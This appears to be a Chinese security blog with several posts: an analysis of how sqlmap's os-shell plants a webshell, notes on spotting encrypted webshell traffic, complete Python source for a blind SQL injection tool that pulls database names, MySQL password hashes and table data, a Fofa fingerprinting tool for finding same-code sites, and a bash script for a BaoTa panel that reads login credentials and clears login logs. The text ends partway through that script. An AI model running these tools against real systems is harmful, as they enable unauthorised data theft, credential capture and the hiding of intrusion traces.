718 日 , 2025 20:59:06
Sqlmap os-shell代码逐析

sqlmap

os-shell

入口点sqlmap\plugins\generic\takeover.pyosShell函数

image-20250718155029367

后步入到sqlmap\lib\tkeover\web.pywebInit函数

首先就是输出一些提示信息,通过1-4来选择web服务器后端语言

后步入到sqlmap\lib\core\common.pygetManualDirectories()函数来选择web路径

1:使用预定义的默认路径

2:自定义web路径

3:提供一个多路径文件,提供给sqlmap去测试

4:sqlmap自带暴力破解

后随机生成web木马文件的名字,decloak解密存放在sqlmap/data/shell/backdoors/的木马文件

for循环通过_webFileInject进行注入写入木马,然后进行请求验证存不存在

而后再次验证(这里其实我感觉挺多余的,可能是因为境界不够没有看出写这段代码的作用,直接验证存不存在这个木马文件不就好了?)

然后使用webBackdoorRuncmd函数来发送请求包再次验证木马可不可用

webBackdoorRunCmd这个函数来看sqlmap webshell的密码硬编码在python文件中,为cmd

请求包如下

然后这个文件上传的过程就结束了,继续走sqlmap\plugins\generic\takeover.pyosShell函数

它呢会接收在终端输入的命令并通过runCmd来执行,当然他最后也是通过调用webBackdoorRunCmd来达到命令执行的效果

325 日 , 2025 9:10:25
如何识别加密的恶意流量

base64

img

所以说

evaevalbase64编码前半部分是重合的

eval($eval($_POST['AAAA'])eval($_GET['BBBB'])的前半部分也是重合的

AES(ECB)

ECB算法加密会按照16字节进行分组,分组后的字符串进行加密后在组合就是密文

那么也就很简单了,当初始字符串长度为16的倍数时,初始字符串的 ECB加密密文与初始字符串 + 其他字符串的 ECB加密密文前半部分就是重合的

举个例子

eval($_POST['cmd是16个字节,其与eval($_POST['cmd']eval($_POST['cmdxxx的ECB加密前半部分就是重合的

img

img

1008 日 , 2024 9:22:20
IIet(盲注信息提取工具)

IIet(盲注信息提取工具)

https://github.com/XiaoMMing9/IIet

制作项目的初始手书

img

img

img

img

IIet是通过整数型注入获取数据库信息的脚本(支持盲注),支持get/post请求方式,可以携带cookie身份信息,适用于url/data/cookie注入,它可以获取user(),database(),root密码的hash值,以及当前数据库中的表信息,可以bypass魔术引号的过滤(addslashes)。

python代码

import requests
import argparse
import re

def Verify():
    try:
        if args.p:
            response = requests.post(args.u, headers=headers, proxies=proxies, cookies=Cookies, data=data, verify=False)
        else:
            response = requests.get(args.u, headers=headers, proxies=proxies, cookies=Cookies, verify=False)
        if re.search(re.escape(args.t), response.text):
            print(f'{args.u}源代码中存在{args.t}数据,匹配成功')
            return True
    except requests.RequestException:
        print(f'{args.u}请求超时')  # 请求失败时捕获异常并跳过
        exit()
    print(f'没有匹配到{args.t}数据,请检查Url以及headers等信息')
    exit()

def Connect():
    Cookies = headers['Cookie']
    url = args.u
    low = 1
    high = 20
    print('设置User与database的位数最高为20')
    while low <= high:
        mid = (low + high) // 2
        if args.m == 'password':
            length = 41
            break
        else:
            if args.m == 'user':
                sql = f"if(length(user())>{mid},1,0)  -- "
            elif args.m == 'database':
                sql = f"if(length(database())>{mid},1,0)  -- "
            if args.i == 'cookies':
                headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
            elif args.i == 'data':
                data[args.pn] = args.pv + '-' + sql
            elif args.i == 'url':
                if '?' in args.u:
                    url = args.u + '&' + args.pn + '=' + args.pv + '-' + sql
                else:
                    url = args.u + '?' + args.pn + '=' + args.pv + '-' + sql
            if args.p:
                s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
            else:
                s = requests.get(url, headers=headers, proxies=proxies, verify=False)
            matchs = re.search(args.c, s.text)
            if matchs:
                low = mid + 1
            else:
                high = mid - 1
            length = low
    print(f"{args.m}长度为: {length}")
    # 使用二分法来猜测每个字符
    result = ''
    for pos in range(1, length + 1):
        low = 32
        high = 126
        while low <= high:
            mid = (low + high) // 2
            if args.m == 'user':
                sql = f"if(ord(substring(user(),{pos},1))>{mid},1,0)  -- "
            elif args.m == 'password':
                sql = f"if(ord(substring((select authentication_string from mysql.user where user=substring(user(),1,4)),{pos},1))>{mid},1,0)  -- "
            elif args.m == 'database':
                sql = f"if(ord(substring(database(),{pos},1))>{mid},1,0)  -- "
            if args.i == 'cookies':
                headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
            elif args.i == 'data':
                data[args.pn] = args.pv + '-' + sql
            elif args.i == 'url':
                if '?' in args.u:
                    url = args.u + '&' + args.pn + '=' + args.pv + '-' + sql
                else:
                    url = args.u + '?' + args.pn + '=' + args.pv + '-' + sql
            if args.p:
                s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
            else:
                s = requests.get(url, headers=headers, proxies=proxies, verify=False)
            matchs = re.search(args.c, s.text)
            if matchs:
                low = mid + 1
            else:
                high = mid - 1
        result += chr(low)
    print(f"{args.m}: {result}")

def Information():
    Cookies = headers['Cookie']
    url = args.u
    tables = []
    columns = []
    low = 1
    high = 100
    print('设置表的个数最高为100,每个表中列数最高为100')
    while low <= high:
        mid = (low + high) // 2
        if args.m == 'table':
            sql = f"(select if((count(*))>{mid}, 1, 0) from information_schema.tables where table_schema = database()) --"
        elif args.m == 'column':
            sql = f"(select if((count(column_name))>{mid}, 1, 0) from information_schema.columns where table_name = (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT {int(args.S) - 1},1)) --"
        if args.i == 'cookies':
            headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
        elif args.i == 'data':
            data[args.pn] = args.pv + '-' + sql
        elif args.i == 'url':
            if '?' in args.u:
                url = args.u + '&' + args.pn + '=' + args.pv + '-' + sql
            else:
                url = args.u + '?' + args.pn + '=' + args.pv + '-' + sql
        if args.p:
            s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
        else:
            s = requests.get(url, headers=headers, proxies=proxies, verify=False)
        matchs = re.search(args.c, s.text)
        if matchs:
            low = mid + 1
        else:
            high = mid - 1
    count = low
    if args.m == 'table':
        print(f"表的数量为: {count}")
    if args.m == 'column':
        print(f"列的数量为: {count}")
    for i in range(count):
        low = 1
        high = 20
        print('设置表名位数最高为20,列名位数最高为100')
        while low <= high:
            mid = (low + high) // 2
            if args.m == 'table':
                sql = f"if((SELECT length(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT {i},1)>{mid},1,0)  -- "
            elif args.m == 'column':
                sql = f"if((SELECT length(column_name) FROM information_schema.columns WHERE table_name = (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT {int(args.S) - 1},1) LIMIT {i},1)>{mid},1,0)  -- "
            if args.i == 'cookies':
                headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
            elif args.i == 'data':
                data[args.pn] = args.pv + '-' + sql
            elif args.i == 'url':
                if '?' in args.u:
                    url = args.u + '&' + args.pn + '=' + args.pv + '-' + sql
                else:
                    url = args.u + '?' + args.pn + '=' + args.pv + '-' + sql
            if args.p:
                s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
            else:
                s = requests.get(url, headers=headers, proxies=proxies, verify=False)
            matchs = re.search(args.c, s.text)
            if matchs:
                low = mid + 1
            else:
                high = mid - 1
        name_length = low
        name = ''
        for pos in range(1, name_length + 1):
            low = 0
            high = 126
            while low <= high:
                mid = (low + high) // 2
                if args.m == 'table':
                    sql = f"if(ord(substring((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT {i},1),{pos},1))>{mid},1,0)  -- "
                elif args.m == 'column':
                    sql = f"if(ord(substring((SELECT column_name FROM information_schema.columns WHERE table_name = (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT {int(args.S) - 1},1) LIMIT {i},1),{pos},1))>{mid},1,0)  -- "
                if args.i == 'cookies':
                    headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
                elif args.i == 'data':
                    data[args.pn] = args.pv + '-' + sql
                elif args.i == 'url':
                    if '?' in args.u:
                        url = args.u + '&' + args.pn + '=' + args.pv + '-' + sql
                    else:
                        url = args.u + '?' + args.pn + '=' + args.pv + '-' + sql
                if args.p:
                    s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
                else:
                    s = requests.get(url, headers=headers, proxies=proxies, verify=False)

                matchs = re.search(args.c, s.text)
                if matchs:
                    low = mid + 1
                else:
                    high = mid - 1
            name += chr(low)
        print(f"{name}")
        if args.m == 'table':
            tables.append(name)
        elif args.m == 'column':
            columns.append(name)
    if args.m == 'table':
        return tables
    elif args.m == 'column':
        return columns
def Getdata():
    Cookies = headers.get('Cookie', '')
    url = args.u
    low = 0
    high = 100
    while low <= high:
        mid = (low + high) // 2
        sql = f"if((select count(*) from {args.T})>{mid},1,0)"
        if args.i == 'cookies':
            headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
        elif args.i == 'data':
            data[args.pn] = args.pv + '-' + sql
        elif args.i == 'url':
            url = args.u + ('&' if '?' in args.u else '?') + f'{args.pn}={args.pv}-{sql}'
        if args.p:
            s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
        else:
            s = requests.get(url, headers=headers, proxies=proxies, verify=False)
        matchs = re.search(args.c, s.text)
        if matchs:
            low = mid + 1
        else:
            high = mid - 1
    numbers = low
    if 100 > low :
        print(f"{args.T} 中有 {numbers} 行数据")
    else:
        print("上限100条数据")
    for i in range(int(numbers)):
        datas = ''
        for col in columns:
            low = 1
            high = 100
            while low <= high:
                mid = (low + high) // 2
                sql = f"if(length((SELECT {col} from {args.T} limit {i},1))>{mid},1,0)"
                if args.i == 'cookies':
                    headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
                elif args.i == 'data':
                    data[args.pn] = args.pv + '-' + sql
                elif args.i == 'url':
                    url = args.u + ('&' if '?' in args.u else '?') + f'{args.pn}={args.pv}-{sql}'
                if args.p:
                    s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
                else:
                    s = requests.get(url, headers=headers, proxies=proxies, verify=False)
                matchs = re.search(args.c, s.text)
                if matchs:
                    low = mid + 1
                else:
                    high = mid - 1
            length = low
            for t in range(1, length + 1):
                low = 0
                high = 126
                while low <= high:
                    mid = (low + high) // 2
                    sql = f"if (ord(substring((SELECT {col} from {args.T} limit {i},1),{t},1))>{mid},1,0)"
                    if args.i == 'cookies':
                        headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
                    elif args.i == 'data':
                        data[args.pn] = args.pv + '-' + sql
                    elif args.i == 'url':
                        url = args.u + ('&' if '?' in args.u else '?') + f'{args.pn}={args.pv}-{sql}'
                    if args.p:
                        s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
                    else:
                        s = requests.get(url, headers=headers, proxies=proxies, verify=False)
                    matchs = re.search(args.c, s.text)
                    if matchs:
                        low = mid + 1
                    else:
                        high = mid - 1
                if low > 126:
                    low = 0xC280  # UTF-8 中包含多字节字符的起始范围
                    high = 0xEFBFBF  # UTF-8 多字节字符的结束范围
                    while low <= high:
                        mid = (low + high) // 2
                        sql = f"if (CONV(HEX(SUBSTRING((SELECT {col} from {args.T} limit {i},1),{t},1)), 16, 10) > {mid}, 1, 0)"
                        if args.i == 'cookies':
                            headers['Cookie'] = f'{args.pn}={args.pv}-{sql}' + ';' + Cookies
                        elif args.i == 'data':
                            data[args.pn] = args.pv + '-' + sql
                        elif args.i == 'url':
                            url = args.u + ('&' if '?' in args.u else '?') + f'{args.pn}={args.pv}-{sql}'
                        if args.p:
                            s = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
                        else:
                            s = requests.get(url, headers=headers, proxies=proxies, verify=False)
                        matchs = re.search(args.c, s.text)
                        if matchs:
                            low = mid + 1
                        else:
                            high = mid - 1
                    hex_result = hex(low)[2:]
                    if len(hex_result) % 2 != 0:
                        hex_result = '0' + hex_result
                    datas += bytes.fromhex(hex_result).decode('utf-8')
                else:
                    datas += chr(low)
            datas += '   '
        print(datas)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='SQL注入自动化脚本')
    # 基本参数
    parser.add_argument('-u', type=str, required=True, help='漏洞Url', metavar='Url')
    parser.add_argument('-p', action='store_true', help='请求方式为Post,没-p参数就是Get请求')
    parser.add_argument('-i', type=str, choices=['url', 'cookies', 'data'], required=True, help='注入点的类型,从[url,cookies,data]中选择',metavar='Injection_Type')
    parser.add_argument('-pn', type=str, required=True, help='注入点参数名', metavar='Param_Name')
    parser.add_argument('-pv', type=str, required=True, help='参数值', metavar='Param_value')
    parser.add_argument('-c', type=str, required=True, help='用于比较的特征字符串', metavar='Characteristic')
    parser.add_argument('-m', type=str, choices=['user', 'password', 'database', 'table', 'column', 'data'], required=True, help='注入提取的数据,从[user,password,database,table,column,data]中选择', metavar='Type')
    # 可选参数
    parser.add_argument('-C', help='Cookie,用于身份校验的数据', metavar='Cookie')
    parser.add_argument('-d', help='Post请求时携带的data参数,格式: -d "Username=1&password=2"', metavar='Data')
    parser.add_argument('-P', help='Proxy,格式: 127.0.0.1:8080', metavar='proxy')
    parser.add_argument('-U', help='User-Agent,默认是google浏览器的User-Agent', metavar='User-Agent')
    parser.add_argument('-H',  help='其他请求头数据,格式: -H "token=1&jwt=2"', metavar='Header')
    parser.add_argument("-t", help="测试连接,检查响应内容是否包含该字符串", metavar='test_data')
    parser.add_argument('-S', help='当前选择数据库的表序号', metavar='Table_Subscript')
    parser.add_argument('-T', help='查询的表名字', metavar='Table')
    parser.add_argument('-l', help='查询的列名,格式: -l "username password"', metavar='Columns')
    args = parser.parse_args()
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36'}  #默认User-Agent
    if args.U: headers['User-Agent'] = args.U                 # User-Agent
    if args.H:                                                # headers
        header_pairs = args.H.split('&')
        for pair in header_pairs:
            key, value = pair.split('=', 1)
            headers[key.strip()] = value.strip()
    proxies = None
    if args.P: proxies = {'http': args.P, 'https': args.P}     #proxies
    Cookies = ''
    if args.C: headers['Cookie'] = args.C                      #Cookies
    else: headers['Cookie'] = ''
    data = dict(pair.split('=', 1) for pair in args.d.split('&')) if args.d else None
    if args.t:    Verify()                  #检测连接
    if args.l:
        columns = args.l.split(" ")
    else:
        columns = None
    if args.m == 'user' or args.m == 'password' or args.m == 'database':
        Connect()
    elif args.m == 'table' or args.m == 'column':
        Information()
    elif args.m == 'data':
        Getdata()
    else:
        print('请检查-m参数')

测试魔术引号过滤的Sql注入网站

img

SQL注入点Cookies,整数型注入city

img

img

img

参数

-u                http://test.com/?m=2s          Sql注入URL
-i                cookies                        注入点在cookies中
-pn               city                           cookies中参数为city
-pv               3                              
-c                /buycars/2018/05/10/102.html   相比于city=3,city=2的请求回复“/buycars/2018/05/10/102.html”
-m                user                           select user(),获取user数据
-P                127.0.0.1:8080                 代理于127.0.0.1:8080

数据提取测试

img

获取mysqlpassword

img

获取database()select database()

img

获取表名

img

-m                column          获取列名
-S                2               选择第二个表,w_admin

img

 
-T               w_admin                         选择表名w_admin
-l               adminid username password     列出adminid,username,password数据

725 日 , 2024 9:00:09
写了一个同源网站发现工具

ToFind(同源码网站收集工具)

https://github.com/XiaoMMing9/ToFind

发现网站特征指纹,可以通过Fofa搜寻同源网站

python代码

import base64
import requests
from bs4 import BeautifulSoup
import re
import random
import math
import argparse
import json
import pandas as pd
import os
from openpyxl import Workbook
from openpyxl.utils.dataframe import dataframe_to_rows

def get_text(url):
    #获取源代码
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
    }
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
        try:
            s = requests.get(url, headers=headers, verify=False)
            if str(s.status_code)[0] == '2':    return s.text, url
            else:
                url = 'https://' + url[len('http://'):]
                s = requests.get(url, headers=headers, verify=False)
                if str(s.status_code)[0] == '2':    return s.text, url
                else:    return '', url
        except:    return '', url
    else:
        s = requests.get(url, headers=headers, verify=False)
        try:
            if str(s.status_code)[0] == '2':    return s.text, url
            else:   return '', url
        except:   return '', url
def get_text_api(source_code):
    #获取源码中的api接口
    # 使用正则表达式查找以"/"或'/'开头,并以".css"或".js"结尾的字符串
    pattern = r"['\"]((\/|\.\/)[^\n\r'\"?]+)(\?[^\n\r'\" ]*)?['\"]"
    matches = re.findall(pattern, source_code)
    apis = []
    exclude_api = ['/', '//', '/favicon.ico', '/login', '/register', '/login.html', '/register.html']  # 排除的滥用接口
    exclude_list = ['bootstrap', 'chosen', 'bootbox', 'awesome', 'animate', 'picnic', 'cirrus', 'iconfont', 'jquery', 'layui', 'swiper']  # 排除的插件库
    for match in matches:
        match = match[0]  # 由于 findall 返回的是元组,需要取第一个元素
        match = re.sub(r'\?.*$', '', match)  # 去除查询参数
        # 仅当路径与 exclude_api 列表中的任意一个完全匹配时,才会被排除
        if match and match not in exclude_api:
            contains_excluded_str = False
            for ex_str in exclude_list:
                if ex_str in match:
                    contains_excluded_str = True
                    break
            # 如果路径不包含任意一个 exclude_list 中的字符,则添加到 apis 列表中
            if not contains_excluded_str:
                apis.append(match)
    return apis
def get_all_css_classes(url,text):
    #获取全部加载的css中所有的类名
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
    }
    soup = BeautifulSoup(text, 'html.parser')
    css_links = []
    exclude_list = ['bootstrap', 'chosen', 'bootbox', 'awesome', 'animate', 'picnic', 'cirrus', 'iconfont', 'jquery', 'layui', 'swiper']     # 排除的插件库
    for link in soup.find_all('link', rel='stylesheet'):  # 获取外部css的链接
        href = link.get('href')
        if href and re.search(r'\.css(\?.*)?$', href):
            if not any(exclude in href for exclude in exclude_list):
                if href.startswith('http'):
                    css_links.append(href)
                else:
                    css_links.append(requests.compat.urljoin(url, href))
    all_classes = set()
    for css_link in css_links:
        try:
            css_content = requests.get(css_link, headers=headers, verify=False, timeout=10).text  # 下载CSS
            if css_content:
                class_pattern = r'\.([\w\-]+)'
                matches = re.findall(class_pattern, css_content)
                all_classes.update(matches)
        except :
            return []
    return sorted(all_classes)    #返回css类名
def get_text_css_class(text):
    #获取源码中的类名
    soup = BeautifulSoup(text, 'html.parser')
    # 找到所有的标签,并提取它们的 class 属性
    all_classes = set()  # 使用集合来存储唯一的类名,避免重复
    for tag in soup.find_all(True):  # 查找所有标签
        classes = tag.get('class')  # 获取标签的 class 属性值
        if classes:  # 如果存在 class 属性
            all_classes.update(classes)  # 将类名添加到集合中
    return sorted(all_classes)
def get_power(text):
    #获取power by/powered by后的内容
    pattern = r'(?:powered by|power by)\s+(<a\s+[^>]*href="([^"]+)"[^>]*>|[^<>\s]+)'
    match = re.search(pattern, text, re.IGNORECASE)
    if match:
        if match.group(2):  # 如果匹配的是
            return match.group(2)  # 返回URL
        else:
            return match.group(1)  # 返回单词或短语
    return None
def fofa(base):
    #通过fofa查询第一页最大条数为500的指纹数据
    with open('config.json', 'r') as f:
        config = json.load(f)
        fofa_api_key = config['fofa_api_key']
    url = f'https://fofa.info/api/v1/search/all?&key={fofa_api_key}&qbase64={base}&size=500'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
    }
    s = requests.get(url, headers=headers)
    return s.json()
def save_to_file(data, filename, filetype, size_value, url,fingerprint):
    #数据保存到文件
    if filetype == 'txt':
        with open(filename, 'a+', encoding='utf-8') as f:
            f.write(f"提取Url: {url}\n")
            f.write(f"Size: {size_value}\n")
            f.write(f"指纹:{fingerprint}\n")
            for item in data:
                f.write("%s\n" % item)
    elif filetype == 'xlsx':
        df_data = pd.DataFrame(data, columns=["URL", "IP", "Port"])
        metadata = {"URL": f"{url}", "Size": size_value ,"fingerprint" : fingerprint}
        file_exists = os.path.exists(filename)
        if not file_exists:
            with pd.ExcelWriter(filename, engine='openpyxl', mode='w') as writer:
                df_metadata_header = pd.DataFrame(columns=["URL", "Size" ,"fingerprint"])
                df_metadata_header.to_excel(writer, index=False, startrow=0, header=True)
                df_metadata = pd.DataFrame([metadata])
                df_metadata.to_excel(writer, index=False, header=False, startrow=1)
                header_df = pd.DataFrame(columns=["URL", "IP", "Port"])
                header_df.to_excel(writer, index=False, startrow=2, header=True)
                df_data.to_excel(writer, index=False, header=False, startrow=3)
        else:
            with pd.ExcelWriter(filename, engine='openpyxl', mode='a', if_sheet_exists='overlay') as writer:
                workbook = writer.book
                sheet = workbook.active
                df_metadata_header = pd.DataFrame(columns=["URL", "Size", "fingerprint"])
                for r in dataframe_to_rows(df_metadata_header, index=False, header=True):
                    sheet.append(r)
                df_metadata = pd.DataFrame([metadata])
                for r in dataframe_to_rows(df_metadata, index=False, header=False):
                    sheet.append(r)
                header_df = pd.DataFrame(columns=["URL", "IP", "Port"])
                for r in dataframe_to_rows(header_df, index=False, header=True):
                    sheet.append(r)
                for r in dataframe_to_rows(df_data, index=False, header=False):
                    sheet.append(r)
                workbook.save(filename)
def Gather(url, param=None, output_file=None, execute_fofa=False, b=None ):
    start_url = url
    s, url = get_text(url)
    if s == '':
        print(f"{start_url}访问不可达")
        exit()
    apis = get_text_api(s)
    if len(apis) > 0:
        filtered_apis = [api for api in apis if api.endswith(('.css', '.js', '.ico', '.png', '.jpg'))]
        other_apis = [api for api in apis if not api.endswith(('.css', '.js', '.ico', '.png', '.jpg'))]
        if len(other_apis) > 6:
            sqrt_number_other = math.ceil(math.sqrt(len(other_apis)))
            random_other_apis = random.sample(other_apis, min(sqrt_number_other, len(other_apis) ))
            joined_apis = random_other_apis
        else:
            if len(filtered_apis) > 3:
                sqrt_number_api = math.floor(math.sqrt(len(filtered_apis)))
                random_filtered_apis = random.sample(filtered_apis, min(sqrt_number_api, len(filtered_apis)))
            elif filtered_apis:
                random_filtered_apis = filtered_apis
            else:
                random_filtered_apis = []
            joined_apis = other_apis + random_filtered_apis
        if len(joined_apis) > 7 :
            sqrt_number = math.ceil(math.sqrt(len(joined_apis)))
            random_apis = random.sample(joined_apis, min(sqrt_number,len(joined_apis)))
            joined_apis = '" && "'.join(random_apis)
        else:
            joined_apis = '" && "'.join(joined_apis)
    classes = set(get_text_css_class(s)).intersection(get_all_css_classes(url, s))
    if len(classes) > 0:
        classes = sorted(classes)
        if len(classes) > 9:
            sqrt_number_classes = math.ceil(math.sqrt(len(classes)))
            random_classes = random.sample(classes, min(sqrt_number_classes, len(classes)))
            joined_classes = '" && "'.join(random_classes)
        else:
            joined_classes = '" && "'.join(classes)
    else:
        print("没有找到共同的类名。")
        joined_classes = ''
    if b:
        fingerprint = '"' + joined_classes + '"'
    else:
        if joined_classes and joined_apis:
            fingerprint = '("' + joined_apis + '") || ("' + joined_classes + '")'
        else:
            fingerprint = '"' + joined_apis + '"'
    powerby_str = get_power(s)
    if powerby_str:
        fingerprint = '( ' + fingerprint + ' )' + ' && "' + powerby_str + '"'
    if param:
        fingerprint = '( ' + fingerprint + ' )' + ' && "' + param + '"'
    print('Url:\n' + url)
    print('构造的指纹如下\n' + fingerprint)
    if execute_fofa:
        results = fofa(base64.b64encode(fingerprint.encode()).decode())
        result_data = results.get('results', [])
        size_value = results.get('size', 0)  # 获取size值
        if output_file:
            filetype = output_file.split('.')[-1]
            save_to_file(result_data, output_file, filetype, size_value,url,fingerprint)
        else:
            print(f"通过Fofa共搜索出{size_value}条数据")
            for item in result_data:
                print(item)
def Batch(url, param=None, output_file=None, execute_fofa=False, readfile=None, b=None):
    #批量读取Url
    if readfile:
        with open(readfile, 'r') as f:
            urls = f.readlines()
        for url in urls:
            url = url.strip()
            Gather(url, param, output_file, execute_fofa, b)
    else:
        Gather(url, param, output_file, execute_fofa, b)
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="依据css类 Api等来发现网站指纹,通过Fofa寻找同源码网站,使用Fofa查询之前要在json文件中添加Fofa key")
    # 参数
    parser.add_argument('-u', '--url', type=str, required=False, metavar='', help='网站Url')
    parser.add_argument('-p', '--param', type=str, required=False, metavar='', help='输入要添加的参数,不要带问号、双引号这些特殊字符,要不然Fofa搜索时会报错的')
    parser.add_argument('-o', '--output', type=str, required=False, metavar='', help='输出文件名,可以是txt或xlsx格式')
    parser.add_argument('-r', '--readfile', type=str, required=False, metavar='', help='从txt文件中读取URL')
    parser.add_argument('-f', '--fofa', action='store_true', help='是否执行Fofa搜索,不带-f选项只会输出框架指纹')
    parser.add_argument('-b', '--blog', action='store_true', help='是否是blog或首页网站,不带-b选项代表是登录界面,没有杂乱的Api')
    args = parser.parse_args()
    if args.output:
        valid_formats = ['.txt', '.xlsx']
        file_format = '.' + args.output.split('.')[-1].lower()
        if file_format not in valid_formats:
            print("输出文件格式必须是txt或xlsx")
            exit()
        if os.path.exists(args.output):
            if args.output.endswith('.xlsx'):
                wb = Workbook()
                wb.save(args.output)
            else:
                with open(args.output, 'w') as file:
                    pass
                file.close()
    Batch(args.url, args.param, args.output, args.fofa, args.readfile, args.blog)
python ToFind.py -u http://localhost:4000/                       (提取本地4000端口web服务的网站指纹)        
python ToFind.py -u http://localhost:4000/ -p hexo               (提取web网站指纹并且附加参数“hexo”,如果提取的指纹为“/login”,最后的指纹为 "/login" && "hexo")
python ToFind.py -u http://localhost:4000/ -b                    (设置为blog首页网站,指纹中只存在类名) 
python ToFind.py -u http://localhost:4000/ -f                    (输出网站指纹,并且使用Fofa查询同源的网站并显示在命令行中)
python ToFind.py -u http://localhost:4000/ -f -o 1.txt           (输出网站指纹,使用Fofa查询同源的网站将其保存在1.txt文件中)
python ToFind.py -u http://localhost:4000/ -f -o 1.xlsx          (输出网站指纹,使用Fofa查询同源的网站将其保存在1.xlsx文件中)
python ToFind.py -r 1.txt -f -o out.xlsx                         (批量读取1.txt中的url通过Fofa搜索数据导出至out.xlsx)

同源测试

https://jwxt.lcu.edu.cn/jwglxt/xtgl/login_slogin.html

python3 ToFind.py -u https://jwxt.lcu.edu.cn/jwglxt/xtgl/login_slogin.html -f | more

http://speak13.com:81/

python3 ToFind.py -u http://speak13.com:81/ -f | more

(hexo)

python ToFind.py -u http://localhost:4000/ -f -b | more

609 日 , 2024 9:47:52
宝塔面板利用方式

宝塔面板

基础信息

如果发现一个网站是由宝塔面板搭建,并且获取了这个网站的shell,但是只有www权限,还有disable_functions阻拦使用命令函数,那么可以尝试获取宝塔的登录url、默认账号、默认密码,尝试进行登录。

windows7.9.0版本

我使用windows10搭建了宝塔面板(windows7.9.0版本),我们可以看到它的登录接口,默认账号,默认密码

但是它是以明文的方式存储在/BtSoft/panel/data/目录下的文件中

登录端口在port.pl文件中

登录接口在admin_path.pl文件中

默认账号在session文件夹下的文件中

默认密码在default.pl文件中

后续版本更新使default.pl文件中为*乱码

源码的登录逻辑代码userlogin.py中发现登录成功后会更新default.pl文件

Linux版本在7.9.5更新逻辑

windows8.2.0默认密码仍在default.pl文件中(linux7.7.0符合,linux7.9.5修改代码逻辑,登录成功之后就会覆盖default.pl文件)

日志计数

登录成功或错误会记录日志

日志记录在/www/server/panel/data/default.db

Script

读取接口url,获取用户名,密码,清除日志

linux

#!/bin/bash
# 定义文件路径
port_file="/www/server/panel/data/port.pl"
admin_path_file="/www/server/panel/data/admin_path.pl"
password_file="/www/server/panel/default.pl"
root_dir="/www/server/panel/"

local_ip=$(hostname -I | awk '{print $1}')
if [[ -f "$port_file" ]]; then
    panel_port=$(cat "$port_file")
else
    echo "文件 $port_file 不存在,无法读取端口。"
    exit 1
fi
if [[ -f "$admin_path_file" ]]; then
    admin_path=$(cat "$admin_path_file")
else
    echo "文件 $admin_path_file 不存在,无法读取接口。"
    exit 1
fi

# 输出接口 URL
if [[ -n "$local_ip" && -n "$panel_port" && -n "$admin_path" ]]; then
    echo "---------------------------------------"
    echo "接口 URL:"
    echo "$local_ip:$panel_port$admin_path"
    echo "---------------------------------------"
else
    echo "无法生成接口 URL,请检查配置文件。"
fi

# 输出username
if [[ -d "$root_dir" ]]; then
    db_files=$(find "$root_dir" -type f -name "default.db")
    if [[ -n "$db_files" ]]; then
        while IFS= read -r db_file; do
            table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='users';")
            if [[ -n "$table_check" ]]; then
                echo "---------------------------------------"
                sqlite3 "$db_file" "SELECT username FROM users;" | while read -r username; do
                    echo "username:$username"
                done
            else
                echo "表 'users' 不存在。"
            fi
        done <<< "$db_files"
    else
        echo "未找到 default.db 文件。"
    fi
else
    echo "目录 $root_dir 不存在。"
fi

# 检查密码文件
if [[ -f "$password_file" ]]; then
    pwd=$(cat "$password_file")  # 读取密码内容
    echo "password:$pwd"
    echo "---------------------------------------"
else
    echo "文件 $password_file 不存在。"
fi

# 查询并提示用户删除logs表的数据
echo "---------------------------------------"
echo "查询 logs 表数据并删除:"
if [[ -d "$root_dir" ]]; then
    db_files=$(find "$root_dir" -type f -name "default.db")
    if [[ -n "$db_files" ]]; then
        # 展示日志数据
        for db_file in $db_files; do
            table_check=$(sqlite3 "$db_file" "SELECT name FROM sqlite_master WHERE type='table' AND name='logs';")
            if [[ -n "$table_check" ]]; then
                echo "日志条数:"
                log_count=$(sqlite3 "$db_file" "SELECT COUNT(*) FROM logs;")
                echo "日志表当前共有 $log_count 条数据。"
                if [[ "$log_count" -gt 0 ]]; then
                    # 展示 logs 表的最后 10 条记录
                    echo "---------------------------------------"
                    echo "logs 表的最后 10 条记录:"
                    sqlite3 "$db_file" "SELECT * FROM logs ORDER BY id DESC LIMIT 10;"
                    echo "---------------------------------------"
                else
                    echo "日志表中没有数据。"
                fi
            else
                echo "表 'logs' 不存在。"
            fi
        done
        # 提示用户输入要删除的日志条数
